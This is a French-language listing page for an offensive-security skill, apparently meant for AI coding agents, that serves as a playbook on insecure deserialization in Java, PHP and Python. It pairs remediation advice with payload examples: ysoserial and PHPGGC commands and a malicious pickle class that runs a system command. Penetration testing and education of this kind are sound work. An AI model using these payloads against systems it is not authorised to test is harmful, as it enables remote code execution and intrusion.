yaklang/désérialisation-non-sécurisée

Playbook de désérialisation non sécurisée. À utiliser lorsque des applications Java, PHP ou Python désérialisent des données non fiables via ObjectInputStream, unserialize, pickle ou des mécanismes similaires pouvant conduire à une exécution de code à distance (RCE), un accès aux fichiers ou une escalade de privilèges.

Qu'est-ce que désérialisation-non-sécurisée ?

Ce skill, appelé yaklang/désérialisation-non-sécurisée, fournit un playbook complet pour détecter et exploiter les vulnérabilités de désérialisation non sécurisée dans les applications Java, PHP et Python. Il est utile pour les développeurs et les professionnels de la sécurité qui testent la robustesse de leurs systèmes face à des attaques où des données non fiables sont désérialisées via des mécanismes comme ObjectInputStream en Java, unserialize en PHP, ou pickle en Python. Ces failles peuvent entraîner des conséquences graves telles que l'exécution de code à distance (RCE), l'accès non autorisé à des fichiers ou l'escalade de privilèges. Le skill s'appuie sur des techniques standardisées et des outils comme ysoserial pour Java, PHPGGC pour PHP, ou des scripts Python exploitant pickle, et fournit des instructions claires pour l'identification, l'exploitation et la remédiation de ces vulnérabilités. Cette approche aide à renforcer la sécurité des applications en automatisant l'analyse des flux de désérialisation et en suggérant des correctifs adaptés.

Compatible avec~Claude Code~Codex CLI~Cursor
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Documentation

Que fait désérialisation-non-sécurisée ?

Playbook de désérialisation non sécurisée. À utiliser lorsque des applications Java, PHP ou Python désérialisent des données non fiables via ObjectInputStream, unserialize, pickle ou des mécanismes similaires pouvant conduire à une exécution de code à distance (RCE), un accès aux fichiers ou une escalade de privilèges.

Objectifs

Ce playbook vous guide pour :

  • Identifier les points d'entrée de désérialisation non sécurisée
  • Générer des charges utiles (payloads) adaptées à chaque langage
  • Tester l'exploitation des vulnérabilités
  • Proposer des remédiations

Langages cibles

LangageMécanisme de désérialisationOutils associés
JavaObjectInputStream, readObject()ysoserial
PHPunserialize()PHPGGC
Pythonpickle.loads(), yaml.load()Scripts personnalisés

Utilisation

  1. Identifier les points de désérialisation : Recherchez les appels aux fonctions critiques dans le code source (par exemple ObjectInputStream.readObject() en Java, unserialize() en PHP, pickle.load() en Python).
  2. Vérifier les données non fiables : Assurez-vous que les données passées à ces fonctions proviennent d'une source non fiable (entrée utilisateur, requêtes réseau, fichiers téléchargés).
  3. Générer une charge utile : Utilisez les outils listés ci-dessus pour créer une charge utile correspondant au type d'attaque visé (RCE, accès fichier, etc.).
  4. Tester l'exploitation : Envoyez la charge utile à l'application via le vecteur identifié.
  5. Analyser le résultat : Observez la réponse de l'application pour déterminer si la vulnérabilité est exploitable.

Exemples de commandes

Java avec ysoserial

java -jar ysoserial.jar CommonsCollections1 'id' | base64

PHP avec PHPGGC

php phpggc Laravel/RCE1 system 'id'

Python (pickle malveillant)

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())

Remédiation

  • Ne jamais désérialiser des données non fiables : Utilisez des formats alternatifs comme JSON ou des API sécurisées.
  • Valider et assainir les entrées : Si la désérialisation est inévitable, appliquez une validation stricte.
  • Utiliser des bibliothèques sécurisées : Par exemple, en Java, utilisez ValidatingObjectInputStream ou des mécanismes de liste blanche de classes.
  • Limiter les privilèges : Exécutez l'application avec le moins de privilèges possible.

Avertissement

Ce playbook est destiné à des fins éducatives et de test de sécurité autorisé uniquement. L'exploitation non autorisée de vulnérabilités est illégale.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

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API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

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Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

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